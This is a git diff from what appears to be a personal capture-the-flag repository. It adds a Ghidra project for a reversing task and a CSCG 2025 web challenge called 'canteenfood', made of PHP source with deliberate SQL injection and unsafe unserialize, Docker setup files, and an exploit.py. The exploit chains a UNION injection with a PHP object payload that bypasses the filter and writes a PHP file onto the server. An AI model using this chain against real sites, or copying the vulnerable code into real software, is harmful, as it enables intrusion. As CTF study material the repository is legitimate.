+ 28: 08 00 .word 0x0008 ; ???? + 2a: 00 00 nop + 2c: 01 00 .word 0x0001 ; ???? + 2e: 00 00 nop + 30: 00 61 ori r16, 0x10 ; 16 + 32: 74 6d ori r23, 0xD4 ; 212 + 34: 65 67 ori r22, 0x75 ; 117 + 36: 61 33 cpi r22, 0x31 ; 49 + 38: 32 38 cpi r19, 0x82 ; 130 + 3a: 70 00 .word 0x0070 ; ???? + 3c: 00 00 nop + ... diff --git a/cscg25/rev/grid_wave/gridwave.gpr b/cscg25/rev/grid_wave/gridwave.gpr new file mode 100644 index 0000000..e69de29 diff --git a/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp b/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp new file mode 100644 index 0000000..39a8b88 --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000004.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp b/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp new file mode 100644 index 0000000..f4ae4da --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/idata/00/00000005.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf b/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf new file mode 100644 index 0000000..e3bdb93 Binary files /dev/null and b/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000004.db/db.1.gbf differ diff --git a/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf b/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf new file mode 100644 index 0000000..987be5d Binary files /dev/null and b/cscg25/rev/grid_wave/gridwave.rep/idata/00/~00000005.db/db.4.gbf differ diff --git a/cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak b/cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak new file mode 100644 index 0000000..d74c12a --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/idata/~index.bak @@ -0,0 +1,6 @@ +VERSION=1 +/ + 00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625 + 00000004:blogpost.bin:c0a8073ffb8121240967914416 +NEXT-ID:6 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat b/cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat new file mode 100644 index 0000000..d74c12a --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/idata/~index.dat @@ -0,0 +1,6 @@ +VERSION=1 +/ + 00000005:GRID_WAVE_4X8_LangleyMicros.vr:c0a8073dcc793952601231625 + 00000004:blogpost.bin:c0a8073ffb8121240967914416 +NEXT-ID:6 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/cscg25/rev/grid_wave/gridwave.rep/project.prp b/cscg25/rev/grid_wave/gridwave.rep/project.prp new file mode 100644 index 0000000..f280dc1 --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/project.prp @@ -0,0 +1,6 @@ + + + + + + diff --git a/cscg25/rev/grid_wave/gridwave.rep/projectState b/cscg25/rev/grid_wave/gridwave.rep/projectState new file mode 100644 index 0000000..e81b080 --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/projectState @@ -0,0 +1,247 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp b/cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp new file mode 100644 index 0000000..4e4cccb --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/user/00/00000002.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp b/cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp new file mode 100644 index 0000000..8aaed3b --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/user/00/00000004.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf b/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf new file mode 100644 index 0000000..e17c5bc Binary files /dev/null and b/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000002.db/db.1.gbf differ diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf b/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf new file mode 100644 index 0000000..b4a8619 Binary files /dev/null and b/cscg25/rev/grid_wave/gridwave.rep/user/00/~00000004.db/db.6.gbf differ diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/~index.bak b/cscg25/rev/grid_wave/gridwave.rep/user/~index.bak new file mode 100644 index 0000000..2e41687 --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/user/~index.bak @@ -0,0 +1,5 @@ +VERSION=1 +/ + 00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041 +NEXT-ID:4 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/~index.dat b/cscg25/rev/grid_wave/gridwave.rep/user/~index.dat new file mode 100644 index 0000000..c8e8182 --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/user/~index.dat @@ -0,0 +1,6 @@ +VERSION=1 +/ + 00000004:udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750 + 00000002:udf_c0a8073ffb8121240967914416:c0a8073ffc5121438189679041 +NEXT-ID:5 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak b/cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak new file mode 100644 index 0000000..04271d0 --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/user/~journal.bak @@ -0,0 +1,2 @@ +IADD:00000004:/udf_c0a8073dcc793952601231625 +IDSET:/udf_c0a8073dcc793952601231625:c0a8073e6d1103660918149750 diff --git a/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak b/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak new file mode 100644 index 0000000..b1e697f --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.bak @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat b/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat new file mode 100644 index 0000000..b1e697f --- /dev/null +++ b/cscg25/rev/grid_wave/gridwave.rep/versioned/~index.dat @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/cscg25/web/canteenfood/Dockerfile b/cscg25/web/canteenfood/Dockerfile new file mode 100644 index 0000000..801e3a9 --- /dev/null +++ b/cscg25/web/canteenfood/Dockerfile @@ -0,0 +1,49 @@ +FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef + +# Setup user +RUN useradd www + +# Install system packeges +RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc + +# Add repos +RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg +RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list + +# Install PHP dependencies +RUN apt update && apt install -y php7.1-fpm php7.1-mysql + +# Configure php-fpm and nginx +COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf +COPY config/supervisord.conf /etc/supervisord.conf +COPY config/nginx.conf /etc/nginx/nginx.conf +COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf + +# Copy challenge files +COPY challenge /www + +# Copy flag +COPY flag.txt / +COPY logs.txt / + + +# Add readflag binary and prepare flag +COPY readflag.c / +RUN gcc /readflag.c -o /readflag \ + && chown root:root /readflag \ + && chmod +s /readflag \ + && rm /readflag.c \ + && chmod 400 /flag.txt + +# Setup permissions +RUN chown -R www:www /www /var/lib/nginx +RUN chown www:www /logs.txt + +RUN apt-get remove gcc wget -y + +# Expose the port nginx is listening on +EXPOSE 80 + +# Start db and start supervisord +COPY --chown=root entrypoint.sh /entrypoint.sh +ENTRYPOINT ["/entrypoint.sh"] diff --git a/cscg25/web/canteenfood/build_docker.sh b/cscg25/web/canteenfood/build_docker.sh new file mode 100755 index 0000000..6b1ffab --- /dev/null +++ b/cscg25/web/canteenfood/build_docker.sh @@ -0,0 +1,4 @@ +#!/bin/bash +docker rm -f canteenfood +docker build -t canteenfood . && \ +docker run --name=canteenfood --rm -p 127.0.0.1:1337:80 -it canteenfood \ No newline at end of file diff --git a/cscg25/web/canteenfood/build_patched_docker.sh b/cscg25/web/canteenfood/build_patched_docker.sh new file mode 100755 index 0000000..ae85684 --- /dev/null +++ b/cscg25/web/canteenfood/build_patched_docker.sh @@ -0,0 +1,4 @@ +#!/bin/bash +docker rm -f canteenfood_patched +docker build -t canteenfood_patched . && \ +docker run --name=canteenfood_patched -d --rm -p 127.0.0.1:1338:80 -it canteenfood_patched diff --git a/cscg25/web/canteenfood/challenge/Database.php b/cscg25/web/canteenfood/challenge/Database.php new file mode 100644 index 0000000..36dac84 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/Database.php @@ -0,0 +1,21 @@ +connection = new MySQLi('127.0.0.1', $_SERVER['DB_USER'], $_SERVER['DB_PASS'], $_SERVER['DB_NAME']); + } + + function __destruct() { + $this->connection->close(); + } + + public static function getConnection() { + if (self::$db == null) { + self::$db = new Database(); + } + return self::$db->connection; + } +} diff --git a/cscg25/web/canteenfood/challenge/Routing.php b/cscg25/web/canteenfood/challenge/Routing.php new file mode 100644 index 0000000..1b1ab7c --- /dev/null +++ b/cscg25/web/canteenfood/challenge/Routing.php @@ -0,0 +1,114 @@ + $method, + 'route' => $route, + ]; + + if (is_callable($controller)) + { + $r['controller'] = $controller; + $this->rts[] = $r; + } + else if (strpos($controller, '@')) + { + $split = explode('@', $controller); + $class = $split[0]; + $function = $split[1]; + + $r['controller'] = [ + 'class' => $class, + 'function' => $function + ]; + + $this->rts[] = $r; + } + else + { + throw new Exception('Invalid controller'); + } + } + + public function match() + { + foreach($this->rts as $route) + { + if ($this->_match_route($route['route'])) + { + if ($route['method'] != $_SERVER['REQUEST_METHOD']) + { + $this->abort(405); + } + $params = $this->getRouteParameters($route['route']); + + if (is_array($route['controller'])) + { + $controller = $route['controller']; + $class = $controller['class']; + $function = $controller['function']; + + return (new $class)->$function($this,$params); + } + return $route['controller']($this,$params); + } + } + + $this->abort(404); + } + + public function _match_route($route) + { + $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?')); + $route = explode('/', $route); + + if (count($uri) != count($route)) return false; + + foreach ($route as $key => $value) + { + if ($uri[$key] != $value && $value != '{param}') return false; + } + + return true; + } + + public function getRouteParameters($route) + { + $params = []; + $uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?')); + $route = explode('/', $route); + + foreach ($route as $key => $value) + { + if ($uri[$key] == $value) continue; + if ($value == '{param}') + { + if ($uri[$key] == '') + { + $this->abort(404); + } + $params[] = $uri[$key]; + } + } + + return $params; + } + + public function abort($code) + { + http_response_code($code); + exit; + } + + public function view($view, $data = []) + { + extract($data); + include __DIR__."/views/${view}.php"; + exit; + } +} \ No newline at end of file diff --git a/cscg25/web/canteenfood/challenge/assets/food.gif b/cscg25/web/canteenfood/challenge/assets/food.gif new file mode 100644 index 0000000..1962a4d Binary files /dev/null and b/cscg25/web/canteenfood/challenge/assets/food.gif differ diff --git a/cscg25/web/canteenfood/challenge/controllers/AdminController.php b/cscg25/web/canteenfood/challenge/controllers/AdminController.php new file mode 100644 index 0000000..3ad02b4 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/controllers/AdminController.php @@ -0,0 +1,14 @@ +view('admin', ['logs' => "Only access allowed for canteen admin!!!"]); + } else { + $admin = new AdminModel("/logs.txt",""); + return $router->view('admin', ['logs' => $admin->read_logs("/logs.txt")]); + } + + } +} diff --git a/cscg25/web/canteenfood/challenge/controllers/CanteenController.php b/cscg25/web/canteenfood/challenge/controllers/CanteenController.php new file mode 100644 index 0000000..352981a --- /dev/null +++ b/cscg25/web/canteenfood/challenge/controllers/CanteenController.php @@ -0,0 +1,12 @@ +view('index', ['food' => $food->filterFood($_GET['price'])]); + } + return $router->view('index', ['food' => $food->getFood()]); + } +} diff --git a/cscg25/web/canteenfood/challenge/index.php b/cscg25/web/canteenfood/challenge/index.php new file mode 100644 index 0000000..34a9d3f --- /dev/null +++ b/cscg25/web/canteenfood/challenge/index.php @@ -0,0 +1,20 @@ +new('GET', '/', 'CanteenController@index'); +$router->new('GET', '/admin', 'AdminController@admin'); + +$response = $router->match(); + +die($response); diff --git a/cscg25/web/canteenfood/challenge/models/AdminModel.php b/cscg25/web/canteenfood/challenge/models/AdminModel.php new file mode 100644 index 0000000..8a272e0 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/models/AdminModel.php @@ -0,0 +1,32 @@ +filename = $filename; + $this->logcontent = $content; + file_put_contents($filename, $content, FILE_APPEND); + } + + public function __wakeup() { + new LogFile($this->filename, $this->logcontent); + } + + public static function read_logs($log) { + $contents = file_get_contents($log); + return $contents; + } +} + +class LogFile { + public function __construct($filename, $content) { + file_put_contents($filename, $content, FILE_APPEND); + } +} diff --git a/cscg25/web/canteenfood/challenge/models/CanteenModel.php b/cscg25/web/canteenfood/challenge/models/CanteenModel.php new file mode 100644 index 0000000..4367ad1 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/models/CanteenModel.php @@ -0,0 +1,71 @@ +\n"; + $logger = new AdminModel("/logs.txt", $log_entry); + + $db = Database::getConnection(); + $sql = "SELECT * FROM food"; + if ($result = $db->query($sql)) { + $result_string = ""; + while($obj = $result->fetch_object()){ + if($obj->name !== '') { + $result_string .= $obj->name . ' for ' . $obj->price . '€
'; + $db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\""); + } + + if($obj->oldvalue !== '') { + $dec_result = base64_decode($obj->oldvalue); + if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) { + return 'Not allowed'; + } + $uns_result = unserialize($dec_result); + $result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€
'; + $new_value = [$uns_result[0], (rand(0, 100000) / 100)]; + $db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\""); + } + } + return $result_string; + } + return 'No food this week - we\'re closed'; + } + + public function filterFood($price_param) { + $log_entry = 'Access at: '. date('Y-m-d H:i:s') . "
\n"; + $logger = new AdminModel("../logs.txt", $log_entry); + + + $db = Database::getConnection(); + $sql = "SELECT * FROM food where price < " . $price_param; + error_log(print_r($sql, true)); + if ($result = $db->query($sql)) { + error_log(print_r($result, true)); + $result_string = ""; + while($obj = $result->fetch_object()){ + if($obj->name !== '') { + $result_string .= $obj->name . ' for ' . $obj->price . '€
'; + } + + if($obj->oldvalue !== '') { + $dec_result = base64_decode($obj->oldvalue); + if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) { + return 'Not allowed'; + } + $uns_result = unserialize($dec_result); + if ($uns_result[1] < $price_param) { + $result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€
'; + } + } + } + + if($result_string === "") { + return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!'; + } + return $result_string; + } + + return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!'; + } +} diff --git a/cscg25/web/canteenfood/challenge/static/css/main.css b/cscg25/web/canteenfood/challenge/static/css/main.css new file mode 100644 index 0000000..b038ae2 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/static/css/main.css @@ -0,0 +1,67 @@ +body { + font-family: 'Press Start 2P', cursive; + min-width: 260px; + color: #000000; + text-align: center; + background-color: #006400; +} + +.btn-block { + width: 93%; + display: inline-block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.form-group { + margin-top: 55px !important; +} + +#main { + margin: 30px auto; + padding: 15px; + border: 0px solid; + border-radius: 5px; + background: #556b2f; +} + +#title { + display: inline-flex; +} + +#title i { + color: #D34156; + font-size: 50px; + margin: 0px 40px; +} +#time { + color: #ff0a94; +} + +h2 { + color: #000000; +} + +img { + width: 550px; + margin-top: 1.4% !important; + height: 560px; + padding: 20px; + max-width: 100%; + display: block; + height: auto; + margin: auto; + object-fit: cover; + overflow: hidden; +} + +img:hover { + animation: dance 1.6s; + animation-iteration-count: infinite; +} + +.pulse{ + animation: pound 0.84s infinite alternate; + -webkit-animation: pound 0.84s infinite alternate; +} diff --git a/cscg25/web/canteenfood/challenge/views/admin.php b/cscg25/web/canteenfood/challenge/views/admin.php new file mode 100644 index 0000000..b79f7b7 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/views/admin.php @@ -0,0 +1,16 @@ + + + + + Canteen Plan + + + + + + + + + + + \ No newline at end of file diff --git a/cscg25/web/canteenfood/challenge/views/index.php b/cscg25/web/canteenfood/challenge/views/index.php new file mode 100644 index 0000000..7a3df35 --- /dev/null +++ b/cscg25/web/canteenfood/challenge/views/index.php @@ -0,0 +1,36 @@ + + + + + Canteen Plan + + + + + + + + +admin +
+

+ Canteen Plan +

+
+
+ yuuuuuuummy +
+
+
+
+ + +
+
+
+

Today we will satisfy you with:

+
+ +
+ + diff --git a/cscg25/web/canteenfood/config/fpm.conf b/cscg25/web/canteenfood/config/fpm.conf new file mode 100644 index 0000000..ba6f04f --- /dev/null +++ b/cscg25/web/canteenfood/config/fpm.conf @@ -0,0 +1,20 @@ +[global] +daemonize = no +error_log = /dev/stderr +log_level = notice + +[www] +user = www +group = www + +clear_env = On + +listen = /run/php-fpm.sock +listen.owner = www +listen.group = www + +pm = dynamic +pm.max_children = 15 +pm.start_servers = 2 +pm.min_spare_servers = 1 +pm.max_spare_servers = 3 \ No newline at end of file diff --git a/cscg25/web/canteenfood/config/mariadb.conf b/cscg25/web/canteenfood/config/mariadb.conf new file mode 100644 index 0000000..ad0c9ec --- /dev/null +++ b/cscg25/web/canteenfood/config/mariadb.conf @@ -0,0 +1,133 @@ +# +# These groups are read by MariaDB server. +# Use it for options that only the server (but not clients) should see +# +# See the examples of server my.cnf files in /usr/share/mysql + +# this is read by the standalone daemon and embedded servers +[server] + +# this is only for the mysqld standalone daemon +[mysqld] + +# +# * Basic Settings +# +user = mysql +pid-file = /run/mysqld/mysqld.pid +socket = /run/mysqld/mysqld.sock +#port = 3306 +basedir = /usr +datadir = /var/lib/mysql +tmpdir = /tmp +lc-messages-dir = /usr/share/mysql +#skip-external-locking + +# Instead of skip-networking the default is now to listen only on +# localhost which is more compatible and is not less secure. +bind-address = 127.0.0.1 + +# +# * Fine Tuning +# +#key_buffer_size = 16M +#max_allowed_packet = 16M +#thread_stack = 192K +#thread_cache_size = 8 +# This replaces the startup script and checks MyISAM tables if needed +# the first time they are touched +#myisam_recover_options = BACKUP +#max_connections = 100 +#table_cache = 64 +#thread_concurrency = 10 + +# +# * Query Cache Configuration +# +#query_cache_limit = 1M +query_cache_size = 16M + +# +# * Logging and Replication +# +# Both location gets rotated by the cronjob. +# Be aware that this log type is a performance killer. +# As of 5.1 you can enable the log at runtime! +general_log_file = /var/log/mysql/mysql.log +general_log = 1 +# +# Error log - should be very few entries. +# +log_error = /var/log/mysql/error.log +# +# Enable the slow query log to see queries with especially long duration +#slow_query_log_file = /var/log/mysql/mariadb-slow.log +#long_query_time = 10 +#log_slow_rate_limit = 1000 +#log_slow_verbosity = query_plan +#log-queries-not-using-indexes +# +# The following can be used as easy to replay backup logs or for replication. +# note: if you are setting up a replication slave, see README.Debian about +# other settings you may need to change. +#server-id = 1 +#log_bin = /var/log/mysql/mysql-bin.log +expire_logs_days = 10 +#max_binlog_size = 100M +#binlog_do_db = include_database_name +#binlog_ignore_db = exclude_database_name + +# +# * Security Features +# +# Read the manual, too, if you want chroot! +#chroot = /var/lib/mysql/ +# +# For generating SSL certificates you can use for example the GUI tool "tinyca". +# +#ssl-ca = /etc/mysql/cacert.pem +#ssl-cert = /etc/mysql/server-cert.pem +#ssl-key = /etc/mysql/server-key.pem +# +# Accept only connections using the latest and most secure TLS protocol version. +# ..when MariaDB is compiled with OpenSSL: +#ssl-cipher = TLSv1.2 +# ..when MariaDB is compiled with YaSSL (default in Debian): +#ssl = on + +# +# * Character sets +# +# MySQL/MariaDB default is Latin1, but in Debian we rather default to the full +# utf8 4-byte character set. See also client.cnf +# +character-set-server = utf8mb4 +collation-server = utf8mb4_general_ci + +# +# * InnoDB +# +# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/. +# Read the manual for more InnoDB related options. There are many! + +# +# * Unix socket authentication plugin is built-in since 10.0.22-6 +# +# Needed so the root database user can authenticate without a password but +# only when running as the unix root user. +# +# Also available for other users if required. +# See https://mariadb.com/kb/en/unix_socket-authentication-plugin/ + +# this is only for embedded server +[embedded] + +# This group is only read by MariaDB servers, not by MySQL. +# If you use the same .cnf file for MySQL and MariaDB, +# you can put MariaDB-only options here +[mariadb] + +# This group is only read by MariaDB-10.3 servers. +# If you use the same .cnf file for MariaDB of different versions, +# use this group for options that older servers don't understand +[mariadb-10.3] \ No newline at end of file diff --git a/cscg25/web/canteenfood/config/nginx.conf b/cscg25/web/canteenfood/config/nginx.conf new file mode 100644 index 0000000..a3dd321 --- /dev/null +++ b/cscg25/web/canteenfood/config/nginx.conf @@ -0,0 +1,39 @@ +user www; +pid /run/nginx.pid; +error_log /dev/stderr info; + +events { + worker_connections 1024; +} + +http { + server_tokens off; + log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" '; + access_log /dev/stdout docker; + + charset utf-8; + keepalive_timeout 20s; + sendfile on; + tcp_nopush on; + client_max_body_size 1M; + include /etc/nginx/mime.types; + + server { + listen 80; + server_name _; + + index index.php; + root /www; + + location / { + try_files $uri $uri/ /index.php?$query_string; + location ~ \.php$ { + try_files $uri =404; + fastcgi_pass unix:/run/php-fpm.sock; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + } + } + } +} diff --git a/cscg25/web/canteenfood/config/supervisord.conf b/cscg25/web/canteenfood/config/supervisord.conf new file mode 100644 index 0000000..8c7b21a --- /dev/null +++ b/cscg25/web/canteenfood/config/supervisord.conf @@ -0,0 +1,23 @@ +[supervisord] +user=root +nodaemon=true +logfile=/dev/null +logfile_maxbytes=0 +pidfile=/run/supervisord.pid + +[program:fpm] +command=php-fpm7.1 -F +autostart=true +priority=1000 +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 + +[program:nginx] +command=nginx -g 'daemon off;' +autostart=true +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 diff --git a/cscg25/web/canteenfood/entrypoint.sh b/cscg25/web/canteenfood/entrypoint.sh new file mode 100755 index 0000000..d2cf252 --- /dev/null +++ b/cscg25/web/canteenfood/entrypoint.sh @@ -0,0 +1,42 @@ +#!/bin/bash + +chmod 600 /entrypoint.sh + +mkdir -p /run/mysqld +chown -R mysql:mysql /run/mysqld +mysql_install_db --user=mysql --ldata=/var/lib/mysql +mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 & + +while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done + + +export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)" +export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)" + +mysql -u root << EOF +CREATE DATABASE $DB_NAME; +CREATE TABLE $DB_NAME.food ( + id INT NOT NULL AUTO_INCREMENT, + name VARCHAR(255), + oldvalue VARCHAR(255), + price float, + PRIMARY KEY (id) +); + +INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99); +INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99); +INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30); +INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50); +INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99); +INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0); + +CREATE USER '$DB_USER'@'%'; +GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%'; +ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123'; +FLUSH PRIVILEGES; + +EOF + +echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params + +/usr/bin/supervisord -c /etc/supervisord.conf \ No newline at end of file diff --git a/cscg25/web/canteenfood/exploit.py b/cscg25/web/canteenfood/exploit.py new file mode 100644 index 0000000..5284e91 --- /dev/null +++ b/cscg25/web/canteenfood/exploit.py @@ -0,0 +1,39 @@ +import requests +from base64 import b64encode + +SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/" + +malicious_site = """ + + +

+ + +""" + + +def sql_injection_oldvalue(payload: str): + return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price' + + +def arbitrary_append(filename, content): + php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii') + encoded_php_object = b64encode(php_object).decode('ascii') + injection_string = sql_injection_oldvalue(encoded_php_object) + params = {'price': injection_string} + session.get(SITE_URL, params=params) + +def retrieve_flag(filepath: str): + response = session.get(SITE_URL + filepath) + if response.status_code == 200: + return response.text + else: + raise RuntimeError(f"Injected php script is not present at {filepath}") + +session = requests.Session() +filepath = "views/injection.php" +arbitrary_append(filepath, malicious_site) +flag = retrieve_flag(filepath) + +print(flag) + diff --git a/cscg25/web/canteenfood/flag.txt b/cscg25/web/canteenfood/flag.txt new file mode 100644 index 0000000..6158ed6 --- /dev/null +++ b/cscg25/web/canteenfood/flag.txt @@ -0,0 +1 @@ +dach2025{fakeflag} diff --git a/cscg25/web/canteenfood/logs.txt b/cscg25/web/canteenfood/logs.txt new file mode 100644 index 0000000..8e952d9 --- /dev/null +++ b/cscg25/web/canteenfood/logs.txt @@ -0,0 +1 @@ +--- Log File who accessed the canteen plan ---
diff --git a/cscg25/web/canteenfood/readflag.c b/cscg25/web/canteenfood/readflag.c new file mode 100644 index 0000000..836ae98 --- /dev/null +++ b/cscg25/web/canteenfood/readflag.c @@ -0,0 +1,17 @@ +#include + +int main(void) { + char flag[256] = {0}; + FILE* fp = fopen("/flag.txt", "r"); + if (!fp) { + perror("fopen"); + return 1; + } + if (fread(flag, 1, 256, fp) < 0) { + perror("fread"); + return 1; + } + puts(flag); + fclose(fp); + return 0; +} \ No newline at end of file diff --git a/htb/.DS_Store b/htb/.DS_Store deleted file mode 100644 index 98ec5a9..0000000 Binary files a/htb/.DS_Store and /dev/null differ